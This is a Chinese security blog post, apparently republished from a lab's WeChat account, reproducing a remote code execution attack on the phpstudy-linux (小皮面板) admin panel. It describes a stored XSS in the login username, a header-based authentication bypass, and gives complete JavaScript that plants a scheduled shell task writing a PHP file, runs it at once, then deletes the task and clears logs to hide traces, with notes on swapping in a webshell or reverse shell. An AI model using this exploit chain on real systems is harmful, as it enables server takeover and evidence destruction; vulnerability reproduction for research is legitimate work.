『漏洞复现』小皮面板 RCE 复现

admin 2023年6月15日18:42:47评论139 views字数 4849阅读16分9秒阅读模式

点击蓝字,关注我们


编写日期:2023-02-10
发表日期:2023-06-15
作者:Obsidian
介绍:phpstudy-linux 面板(小皮面板) RCE 复现。

0x01 前言

该漏洞首次在互联网出现大概是二月二日,之后在二月三日就已经有大佬公开了复现过程,在二月四日就已经有安全公众号发布了复现文章。

『漏洞复现』小皮面板 RCE 复现

本文会尽可能详细地分析该漏洞的原因以及复现流程。

『漏洞复现』小皮面板 RCE 复现

0x02 前期准备

2.1 安装环境

系统采用的是ubuntu-server-20.04虚拟机,更换了阿里的源,根据小皮面板的安装要求,未单独安装apache,php,nginx,mysql等组件。

2.2 安装小皮面板

使用官网给定的命令行安装方式:

wget -O install.sh https://notdocker.xp.cn/install.sh && sudo bash install.sh

『漏洞复现』小皮面板 RCE 复现

默认安装路径是/usr/local/phpstudy/

安装完成后,根据提供的路径访问即可。

『漏洞复现』小皮面板 RCE 复现

0x03 漏洞分析

该漏洞采用的是XSS+CSRF的利用方式,系统本身存在存储型XSS漏洞,在登录用户名处插入恶意代码,可在后台首页触发。

『漏洞复现』小皮面板 RCE 复现

『漏洞复现』小皮面板 RCE 复现

原因是首页集成了日志模块的功能,该功能会输出登录失败的用户名,但不存在任何过滤。

『漏洞复现』小皮面板 RCE 复现

之后可利用后台本身的计划任务功能,可实现反弹shell或者写入webshell等利用方式。

简单的利用流程是:

1. 构造恶意js文件,在用户名插入<script src=http://127.0.0.1/exp.js></script>2. 等待管理员登录3. js自动触发,实现相应功能

接下来可以简单分析下该漏洞。

3.1 后台路径

在安装小皮面板的过程中,我们可以知道,后台会随机生成6位授权码作为token

在实际测试中发现以下两点:

  1. token的取值范围是大写16进制。

    理论的爆破上限是1600W+,基本无法实现。

  2. 该路径的校验方式是包含,并不是完全相等。

    假如tokenAAAAAA,那么/AAAAAA,/AAAAAABB,/BBAAAAAA,/BB/AAAAAA/BB/均可成功访问。

所以,通过爆破基本上是无法得知后台路径的。

通过分析/usr/local/phpstudy/web/service/app/model/Auth.php代码可知:

// 是否是ajax请求$isAjax = (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && $_SERVER['HTTP_X_REQUESTED_WITH']=='XMLHttpRequest') ? true : false;$request = explode('?', $request_uri);

HTTP请求头中包含X-Requested-With: XMLHttpRequest字段,会被系统认为是ajax请求,从而无需认证。

毕竟不可能每个请求均带有token路径。

『漏洞复现』小皮面板 RCE 复现

所以,我们可以通过在HTTP请求头中添加X-Requested-With: XMLHttpRequest字段,来绕过后台的token路径,直接访问登录页面。

『漏洞复现』小皮面板 RCE 复现

3.2 验证码

小皮面板的功能流程大概是,前端请求后端,后端对数据进行加工处理,再通过socket请求本地的8090端口进行功能响应。

分析/usr/local/phpstudy/web/service/app/model/Account.php的代码可知:

『漏洞复现』小皮面板 RCE 复现

如果验证码错误,会直接返回,并不会触发socket请求,也就不会保存到日志中。

所以,如果要插入日志,需要将登录的验证码输入正确。

3.3 漏洞本身

通过相关命令可以发现,8090端口是通过/usr/local/phpstudy/system/phpstudy这个ELF文件开启的服务。

『漏洞复现』小皮面板 RCE 复现

之后再使用tcpdump -i lo -w 1.pcap命令来获取本地通讯的流量。

『漏洞复现』小皮面板 RCE 复现

可以看到,内容本身是没有过滤的,并且web的源码中也不存在过滤代码。

所以该漏洞仅仅就是因为简单的存储型XSS漏洞而导致的。

具体的二进制文件的逆向分析,就暂时放弃了(不会)。
『漏洞复现』小皮面板 RCE 复现

0x04 漏洞复现

完善一下利用流程:

1. 访问9080端口抓包,添加X-Requested-With: XMLHttpRequest2. 构造恶意js文件,在用户名插入<script src=http://127.0.0.1/exp.js></script>3. 等待管理员登录4. js自动触发,实现相应功能

RCE的实现利用的是计划任务功能,我们可以通过抓包来获取具体的参数。

『漏洞复现』小皮面板 RCE 复现

简单构造一下代码:

function step1(){    var data = new Object();    data.task_id="";    data.title="1";    data.exec_cycle="1";    data.week="1";    data.day="3";    data.hour="1";    data.minute="30";    data.shell="echo MTIz|base64 -d > /usr/local/phpstudy/web/service/app/lib/1.php";
    $.post('/service/app/tasks.php?type=save_shell',data,function(data){},"json");}step1();

这里只是简单的写个测试数据,可替换成具体的webshell内容或者反弹shell的代码。

这时候成功虽然添加了计划任务,但是需要漫长的等待时间才能触发。

『漏洞复现』小皮面板 RCE 复现

幸好后台提供了立即触发计划任务的功能,根据id来执行对应的计划任务,id是通过task_list接口获取。

『漏洞复现』小皮面板 RCE 复现

简单修改下代码:

function step1(){    var data = new Object();    data.task_id="";    data.title="1";    data.exec_cycle="1";    data.week="1";    data.day="3";    data.hour="1";    data.minute="30";    data.shell="echo MTIz|base64 -d > /usr/local/phpstudy/web/service/app/lib/1.php";
    $.post('/service/app/tasks.php?type=save_shell',data,function(data){},"json");}
function step2(){
    $.get('/service/app/tasks.php?type=task_list',{},function(data){        var id = data.data[0].ID;        $.post('/service/app/tasks.php?type=exec_task',{tid:id},function(res){},"json");    },"json");}step1();step2();

这时候就实现了立即触发计划任务的代码,但是为了更加的“安全”,最好还是要清理下痕迹,比如:删除计划任务,清空日志。

『漏洞复现』小皮面板 RCE 复现

『漏洞复现』小皮面板 RCE 复现

最终代码:

function step1(){    var data = new Object();    data.task_id="";    data.title="1";    data.exec_cycle="1";    data.week="1";    data.day="3";    data.hour="1";    data.minute="30";    data.shell="echo MTIz|base64 -d > /usr/local/phpstudy/web/service/app/lib/1.php";
    $.post('/service/app/tasks.php?type=save_shell',data,function(data){},"json");}
function step2(){
    $.get('/service/app/tasks.php?type=task_list',{},function(data){        var id = data.data[0].ID;        $.post('/service/app/tasks.php?type=exec_task',{tid:id},function(res){},"json");    },"json");}function step3(){
    $.get('/service/app/tasks.php?type=task_list',{},function(data){        var id = data.data[0].ID;        $.post('/service/app/tasks.php?type=del_task',{tid:id},function(res){},"json");    },"json");}function step4(){    $.post('/service/app/log.php?type=clearlog',{},function(res){},"json");}
step1();step2();step3();step4();
『漏洞复现』小皮面板 RCE 复现

为了使代码更加简洁,可以进行一下合并:

var data = new Object();data.task_id="";data.title="1";data.exec_cycle="1";data.week="1";data.day="3";data.hour="1";data.minute="30";data.shell="echo MTIz|base64 -d > /usr/local/phpstudy/web/service/app/lib/1.php";
$.post('/service/app/tasks.php?type=save_shell',data,function(data){    $.get('/service/app/tasks.php?type=task_list',{},function(data){        var id = data.data[0].ID;        $.post('/service/app/tasks.php?type=exec_task',{tid:id},function(res){            $.post('/service/app/tasks.php?type=del_task',{tid:id},function(res){                $.post('/service/app/log.php?type=clearlog',{},function(res){},"json");            },"json");        },"json");    },"json");},"json");

需要注意的是,如果写入了webshell,在访问时同样需要添加X-Requested-With: XMLHttpRequest字段。

『漏洞复现』小皮面板 RCE 复现

极限状态-复现失败

根据大佬所说,如果8090端口开放到外网,可以直接通过socket请求来完成计划任务步骤,实现直接RCE

测试发现,小皮面板安装后,默认屏蔽了大部分端口的访问,8090端口默认并不开放,需要管理员在防火墙单独放行。

『漏洞复现』小皮面板 RCE 复现

在放行8090端口之后,通过本身的socket.php代码,修改了一个登录功能的socket请求,但返回内容是ip address deny,具体原因不明。

『漏洞复现』小皮面板 RCE 复现

由于并不了解逆向相关的技能,暂时复现失败。

『漏洞复现』小皮面板 RCE 复现

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

『漏洞复现』小皮面板 RCE 复现

宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。

团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。

对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。

原文始发于微信公众号(宸极实验室):『漏洞复现』小皮面板 RCE 复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月15日18:42:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『漏洞复现』小皮面板 RCE 复现https://cn-sec.com/archives/1810440.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息